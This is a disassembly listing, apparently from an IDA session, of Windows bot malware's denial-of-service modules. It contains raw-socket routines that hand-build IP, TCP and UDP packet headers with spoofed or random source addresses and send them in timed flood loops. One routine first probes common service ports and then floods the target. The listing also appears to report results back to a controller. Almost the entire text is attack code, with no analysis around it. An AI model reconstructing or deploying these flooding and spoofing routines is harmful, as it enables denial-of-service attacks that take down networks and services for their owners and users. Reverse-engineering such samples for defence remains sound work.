loc_414DF6: ; CODE XREF: sub_4149C1+42Bj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset unk_437B7C
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_414E54
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414E54: ; CODE XREF: sub_4149C1+46Ej
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414E74: ; CODE XREF: sub_4149C1+203j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset unk_437B2C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_414EE5
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414EE5: ; CODE XREF: sub_4149C1+4FFj
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_4149C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F05 proc near ; CODE XREF: sub_41500F+19Ap
; sub_41500F+1A9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+arg_4], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: sub_414F05+26j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: sub_414F05+12j
jnz short loc_414F3E
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_414F3E: ; CODE XREF: sub_414F05:loc_414F31j
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop ebp
retn
sub_414F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F57 proc near ; DATA XREF: sub_401ACD+6C68o
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA14 ; inet_addr
push eax
lea esi, [ebp+var_194]
sub esp, 194h
push 65h
pop ecx
mov edi, esp
rep movsd
call sub_41500F
add esp, 19Ch
push eax
lea eax, [ebp+var_394]
push offset unk_437C58
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414FF2
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414FF2: ; CODE XREF: sub_414F57+79j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_414F57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41500F proc near ; CODE XREF: sub_414F57+54p
var_CC = byte ptr -0CCh
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_A2 = word ptr -0A2h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_63 = byte ptr -63h
var_62 = byte ptr -62h
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_52 = word ptr -52h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = word ptr -2Ch
var_28 = byte ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0CCh
push ebx
push esi
mov esi, dword_4270B0
xor ebx, ebx
push edi
mov [ebp+var_4], ebx
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_10], eax
call dword_4CBA54 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
mov edi, 578h
push edi
push 9
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
lea eax, [ebp+var_28]
push eax
call sub_41BF70
add esp, 0Ch
mov esi, 5A0h
loc_415069: ; CODE XREF: sub_41500F+235j
call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_415249
cmp dword_4CF180, ebx
jnz short loc_4150E8
push 10h
pop eax
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_68]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_68]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push 0FFh
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_62]
push eax
movzx eax, [ebp+var_63]
push eax
movzx eax, [ebp+var_64]
push eax
lea eax, [ebp+var_CC]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_4150FB
; ---------------------------------------------------------------------------
loc_4150E8: ; CODE XREF: sub_41500F+7Ej
lea eax, [ebp+var_CC]
push offset dword_4CEB60
push eax
call sub_41C890
pop ecx
pop ecx
loc_4150FB: ; CODE XREF: sub_41500F+D7j
lea eax, [ebp+var_CC]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp+var_C], eax
mov eax, [ebp+var_58]
and al, 45h
push esi
or al, 45h
mov [ebp+var_54], 10h
mov [ebp+var_58], eax
call dword_4CB9D4 ; htons
mov [ebp+var_52], ax
call sub_41C2C2
mov [ebp+var_50], ax
mov eax, [ebp+var_C]
mov [ebp+var_48], eax
mov eax, [ebp+arg_194]
mov [ebp+var_4E], 40h
mov [ebp+var_4C], 40h
mov [ebp+var_4B], 6
mov [ebp+var_4A], bx
mov [ebp+var_44], eax
call sub_41C2C2
mov [ebp+var_40], ax
call sub_41C2C2
mov [ebp+var_3E], ax
call sub_41C2C2
mov [ebp+var_3C], eax
call sub_41C2C2
mov [ebp+var_38], eax
mov eax, [ebp+var_34]
and ax, 0FF50h
push 14h
or al, 50h
mov byte ptr [ebp+var_34+2], 18h
mov word ptr [ebp+var_34], ax
mov ax, [ebp+var_3E]
mov [ebp+var_76], ax
mov eax, [ebp+var_44]
mov [ebp+var_74], eax
lea eax, [ebp+var_58]
push eax
mov [ebp+var_30], 787Dh
mov [ebp+var_2E], bx
mov [ebp+var_2C], bx
mov [ebp+var_78], 2
call sub_414F05
mov [ebp+var_4A], ax
lea eax, [ebp+var_58]
push 28h
push eax
call sub_414F05
mov eax, [ebp+var_48]
add esp, 10h
mov [ebp+var_AC], eax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], bl
mov [ebp+var_A3], 6
call dword_4271F4 ; htons
mov [ebp+var_A2], ax
lea eax, [ebp+var_A0]
push 14h
push eax
lea eax, [ebp+var_40]
push eax
call sub_41CD20
lea eax, [ebp+var_8C]
push edi
push eax
lea eax, [ebp+var_28]
push eax
call sub_41CD20
lea eax, [ebp+var_AC]
push 598h
push eax
call sub_414F05
add esp, 20h
mov [ebp+var_2E], ax
push 10h
lea eax, [ebp+var_78]
push eax
push ebx
lea eax, [ebp+var_58]
push esi
push eax
push [ebp+var_8]
call dword_4CBA38 ; sendto
inc [ebp+var_4]
jmp loc_415069
; ---------------------------------------------------------------------------
loc_415249: ; CODE XREF: sub_41500F+72j
push [ebp+var_8]
call dword_4CBA6C ; closesocket
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41500F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41525A proc near ; DATA XREF: sub_401ACD+4B97o
var_414 = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
mov eax, 85h
push edi
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
sub esp, 214h
rep movsd
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_4152D1
add esp, 214h
push eax
lea eax, [ebp+var_414]
push offset unk_437C8C
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
add esp, 14h
push 0
call dword_4270D4 ; ExitThread
sub_41525A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152D1 proc near ; CODE XREF: sub_41525A+3Bp
var_254 = byte ptr -254h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
arg_104 = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
mov ebx, 0FFh
push edi
push ebx
push 3
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_41530F
lea eax, [ebp+var_254]
push offset unk_437E7C
push eax
call sub_41C266
pop ecx
xor edi, edi
pop ecx
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41530F: ; CODE XREF: sub_4152D1+22j
lea ecx, [ebp+var_14]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_14], 1
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_41533B
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_437E2C
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_41533B: ; CODE XREF: sub_4152D1+5Aj
lea eax, [ebp+arg_4]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_41536A
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_437DE8
loc_415356: ; CODE XREF: sub_4152D1+68j
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4155D8
; ---------------------------------------------------------------------------
loc_41536A: ; CODE XREF: sub_4152D1+77j
push edi
mov [ebp+var_24], 2
call dword_4CB9D4 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_4271F0 ; inet_addr
mov esi, dword_4270B0
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_254]
push offset unk_437DBC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_4153D3
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_4153D3: ; CODE XREF: sub_4152D1+E0j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp esi, eax
pop ecx
ja loc_41558E
mov esi, 41Ch
jmp short loc_415407
; ---------------------------------------------------------------------------
loc_415402: ; CODE XREF: sub_4152D1+2B7j
mov ebx, 0FFh
loc_415407: ; CODE XREF: sub_4152D1+12Fj
cmp dword_4CF180, edi
jnz short loc_415461
push 10h
pop eax
mov [ebp+var_10], eax
push eax
lea eax, [ebp+var_34]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_0]
call dword_4CB978 ; getsockname
push ebx
push 1
call sub_418BD1
pop ecx
pop ecx
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax
call sub_41C266
add esp, 18h
jmp short loc_415471
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_4152D1+13Cj
lea eax, [ebp+var_54]
push offset dword_4CEB60
push eax
call sub_41C890
pop ecx
pop ecx
loc_415471: ; CODE XREF: sub_4152D1+18Ej
push esi
mov byte_4CED60, 45h
call dword_4CB9D4 ; htons
mov word_4CED62, ax
lea eax, [ebp+var_54]
push eax
mov word_4CED64, 1
mov word_4CED66, di
mov byte_4CED68, 80h
mov byte_4CED69, 11h
mov word_4CED6A, di
call dword_4CBA14 ; inet_addr
mov dword_4CED6C, eax
mov eax, [ebp+var_20]
mov dword_4CED70, eax
lea eax, [ebp+arg_84]
push eax
mov word_4CED7A, di
call sub_41C159
test eax, eax
pop ecx
jnz short loc_4154E9
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4154F7
; ---------------------------------------------------------------------------
loc_4154E9: ; CODE XREF: sub_4152D1+206j
lea eax, [ebp+arg_84]
push eax
call sub_41C159
pop ecx
push eax
loc_4154F7: ; CODE XREF: sub_4152D1+216j
call dword_4CB9D4 ; htons
mov word_4CED76, ax
call sub_41C2C2
cdq
mov ecx, 401h
push 408h
idiv ecx
mov word_4CED74, dx
call dword_4CB9D4 ; htons
push 400h
mov word_4CED78, ax
call sub_41C2C2
cdq
idiv ebx
push edx
push offset dword_4CED7C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_24]
push 10h
push eax
push edi
push esi
push offset byte_4CED60
push [ebp+var_C]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_415607
inc [ebp+var_4]
call dword_4270B0 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+arg_104]
push eax
call sub_41C159
cmp ebx, eax
pop ecx
jbe loc_415402
loc_41558E: ; CODE XREF: sub_4152D1+124j
push [ebp+var_C]
call dword_4CBA6C ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+arg_104]
push eax
imul esi, 41Ch
call sub_41C159
pop ecx
xor edx, edx
mov ecx, eax
mov eax, esi
shr eax, 0Ah
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
push offset unk_437D58
loc_4155C9: ; CODE XREF: sub_4152D1+34Aj
lea eax, [ebp+var_254]
push eax
call sub_41C266
add esp, 18h
loc_4155D8: ; CODE XREF: sub_4152D1+39j
; sub_4152D1+94j
cmp [ebp+arg_20C], edi
jnz short loc_415600
push edi
lea eax, [ebp+var_254]
push [ebp+arg_208]
push eax
lea eax, [ebp+arg_184]
push eax
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_415600: ; CODE XREF: sub_4152D1+30Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_415607: ; CODE XREF: sub_4152D1+28Bj
push [ebp+var_4]
push esi
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
push offset unk_437CCC
jmp short loc_4155C9
sub_4152D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41561D proc near ; DATA XREF: sub_401ACD+6283o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_210]
push eax
call dword_4CBA14 ; inet_addr
push eax
call sub_4157BA
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437EA8
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4156B2
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4156B2: ; CODE XREF: sub_41561D+73j
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_41561D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156D1 proc near ; CODE XREF: sub_4157BA+194p
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
push esi
push edi
jnz short loc_4156FA
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4271F8 ; connect
jmp loc_4157B6
; ---------------------------------------------------------------------------
loc_4156FA: ; CODE XREF: sub_4156D1+13j
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
push 8004667Eh
push esi
mov [ebp+var_8], edi
call dword_4271E0 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB97C ; connect
push [ebp+arg_C]
lea eax, [ebp+var_210]
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
push 0
push eax
lea eax, [ebp+var_10C]
mov [ebp+var_20C], esi
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_210], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_41575E
or eax, 0FFFFFFFFh
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_41575E: ; CODE XREF: sub_4156D1+86j
or edi, 0FFFFFFFFh
cmp eax, edi
jnz short loc_415769
loc_415765: ; CODE XREF: sub_4156D1+B8j
; sub_4156D1+DCj
mov eax, edi
jmp short loc_4157B6
; ---------------------------------------------------------------------------
loc_415769: ; CODE XREF: sub_4156D1+92j
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jnz short loc_41578B
lea eax, [ebp+var_210]
push eax
push esi
call sub_426350 ; __WSAFDIsSet
test eax, eax
jz short loc_415765
loc_41578B: ; CODE XREF: sub_4156D1+A7j
lea eax, [ebp+arg_0]
mov [ebp+arg_0], 4
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
call dword_4271C8 ; getsockopt
cmp eax, edi
jz short loc_415765
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_4157B6: ; CODE XREF: sub_4156D1+24j
; sub_4156D1+8Bj ...
pop edi
pop esi
leave
retn
sub_4156D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157BA proc near ; CODE XREF: sub_41561D+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
push edi
push 1
pop eax
xor ebx, ebx
push eax
push ebx
push ebx
push 0FFh
push 3
push 2
mov [ebp+var_14], eax
call dword_4271C4 ; WSASocketA
lea ecx, [ebp+var_14]
push 4
push ecx
push 2
push ebx
push eax
mov dword_4CF1F0, eax
call dword_4CB9B4 ; setsockopt
mov esi, dword_4270B0
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
xor eax, eax
push 19h
lea edi, [ebp+var_100]
pop ecx
mov [ebp+var_10C], ebx
mov [ebp+var_7C], ecx
mov [ebp+var_108], ebx
mov [ebp+var_104], ebx
mov [ebp+var_8C], 401h
mov [ebp+var_88], 15h
mov [ebp+var_84], 16h
mov [ebp+var_80], 17h
mov [ebp+var_78], 35h
mov [ebp+var_74], 50h
mov [ebp+var_70], 51h
mov [ebp+var_6C], 58h
mov [ebp+var_68], 6Eh
mov [ebp+var_64], 71h
mov [ebp+var_60], 77h
mov [ebp+var_5C], 87h
mov [ebp+var_58], 89h
mov [ebp+var_54], 8Bh
mov [ebp+var_50], 8Fh
mov [ebp+var_4C], 1BBh
mov [ebp+var_48], 1BDh
mov [ebp+var_44], 400h
mov [ebp+var_40], 599h
mov [ebp+var_3C], 5DCh
mov [ebp+var_38], 6B8h
mov [ebp+var_34], 0CEAh
mov [ebp+var_30], 0D3Dh
mov [ebp+var_2C], 1388h
mov [ebp+var_28], 1A0Bh
mov [ebp+var_24], 1F40h
mov [ebp+var_20], 1F90h
rep stosd
mov [ebp+var_10], ebx
mov [ebp+var_1C], 3
mov [ebp+var_18], 0BB8h
mov [ebp+var_4], ebx
loc_415900: ; CODE XREF: sub_4157BA+1C1j
mov eax, [ebp+arg_0]
mov [ebp+var_9C], 2
mov [ebp+var_98], eax
mov eax, [ebp+var_4]
lea edi, [ebp+eax+var_8C]
mov ax, word ptr [ebp+eax+var_8C]
push eax
call dword_4CB9D4 ; htons
push ebx
push 1
push 2
mov [ebp+var_9A], ax
call dword_4CBA54 ; socket
lea ecx, [ebp+var_1C]
mov [ebp+var_C], eax
push ecx
lea ecx, [ebp+var_9C]
push 10h
push ecx
push eax
call sub_4156D1
add esp, 10h
mov [ebp+var_8], eax
push [ebp+var_C]
call dword_4CBA6C ; closesocket
cmp [ebp+var_8], ebx
jnz short loc_415973
mov ecx, [ebp+var_4]
mov eax, [edi]
mov [ebp+ecx+var_10C], eax
loc_415973: ; CODE XREF: sub_4157BA+1ABj
add [ebp+var_4], 4
cmp [ebp+var_4], 70h
jl short loc_415900
mov edi, offset dword_4CF1F4
push offset asc_42CDC0 ; " "
push edi
call sub_41C266
pop ecx
pop ecx
call esi ; GetTickCount
mov [ebp+var_C], eax
lea eax, [ebp+var_10C]
mov [ebp+var_4], ebx
mov [ebp+var_8], eax
loc_4159A0: ; CODE XREF: sub_4157BA+23Cj
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja short loc_4159F8
mov eax, [ebp+var_8]
mov eax, [eax]
cmp eax, ebx
jz short loc_4159D1
push eax
push edi
push offset aSD ; "%s%d "
push edi
mov [ebp+var_10], eax
call sub_41C266
add esp, 10h
jmp short loc_4159EB
; ---------------------------------------------------------------------------
loc_4159D1: ; CODE XREF: sub_4157BA+200j
push 0FFFFh
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
loc_4159EB: ; CODE XREF: sub_4157BA+215j
inc [ebp+var_4]
add [ebp+var_8], 4
cmp [ebp+var_4], 1Ch
jl short loc_4159A0
loc_4159F8: ; CODE XREF: sub_4157BA+1F7j
; sub_4157BA+477j
push 28h
push ebx
push offset byte_4CF190
call sub_41BF70
mov esi, 0FFFFh
mov byte_4CF190, 45h
push esi
push 400h
mov byte_4CF199, 6
mov byte_4CF191, 8
call sub_418BD1
add esp, 14h
push eax
call dword_4CB9D4 ; htons
push 28h
mov word_4CF194, ax
call dword_4CB9D4 ; htons
or byte_4CF198, 0FFh
cmp dword_4CF180, ebx
mov word_4CF192, ax
mov word_4CF196, bx
jnz short loc_415A78
push 0FFFEh
push 1
call sub_418BD1
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
shl eax, 10h
and ecx, esi
or eax, ecx
jmp short loc_415A83
; ---------------------------------------------------------------------------
loc_415A78: ; CODE XREF: sub_4157BA+2A2j
push offset dword_4CEB60
call dword_4CBA14 ; inet_addr
loc_415A83: ; CODE XREF: sub_4157BA+2BCj
mov dword_4CF19C, eax
mov eax, [ebp+arg_0]
push 4000h
mov dword_4CF1A0, eax
mov byte_4CF1B1, bl
call dword_4CB9D4 ; htons
push esi
push ebx
mov word_4CF1B2, ax
call sub_418BD1
mov edi, eax
push esi
push ebx
shl edi, 8
call sub_418BD1
add esp, 10h
add edi, eax
push edi
call dword_4CB9D0 ; htonl
mov dword_4CF1A8, eax
mov al, byte_4CF1B0
mov edi, [ebp+arg_0]
and al, 0Fh
or al, 50h
push 14h
mov byte_4CF1B0, al
mov ax, word ptr [ebp+var_10]
mov dword_4CF1AC, ebx
mov word_4CF1B6, bx
mov word_4CF1A6, ax
mov dword_4CF1CC, edi
mov byte_4CF1D0, bl
mov byte_4CF1D1, 6
call dword_4CB9D4 ; htons
mov word_4CF1D2, ax
mov ax, word_4CF1A6
mov word_4CF1B8, 2
mov dword_4CF1BC, edi
mov word_4CF1BA, ax
mov [ebp+var_4], ebx
jmp short loc_415B39
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_4157BA+451j
mov esi, 0FFFFh
loc_415B39: ; CODE XREF: sub_4157BA+378j
cmp [ebp+var_4], ebx
jnz short loc_415B6D
push esi
push ebx
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
mov word_4CF1A4, ax
mov eax, dword_4CF19C
mov dword_4CF1C8, eax
mov byte_4CF1B1, 2
mov dword_4CF1AC, ebx
jmp short loc_415B8C
; ---------------------------------------------------------------------------
loc_415B6D: ; CODE XREF: sub_4157BA+382j
push esi
push ebx
mov byte_4CF1B1, 10h
call sub_418BD1
pop ecx
pop ecx
push eax
call dword_4CB9D4 ; htons
movzx eax, ax
mov dword_4CF1AC, eax
loc_415B8C: ; CODE XREF: sub_4157BA+3B1j
inc word_4CF194
inc dword_4CF1A8
mov ax, word_4CF1A6
push 5
pop ecx
mov esi, offset word_4CF1A4
mov edi, offset dword_4CF1D4
mov word_4CF19A, bx
mov word_4CF1B4, bx
push 14h
rep movsd
mov esi, offset byte_4CF190
mov word_4CF1BA, ax
push esi
call sub_40AA5F
push 20h
push offset dword_4CF1C8
mov word_4CF19A, ax
call sub_40AA5F
add esp, 10h
mov word_4CF1B4, ax
push 10h
push offset word_4CF1B8
push ebx
push 28h
push esi
push dword_4CF1F0
call dword_4CBA38 ; sendto
inc [ebp+var_4]
cmp [ebp+var_4], 3FFh
jl loc_415B34
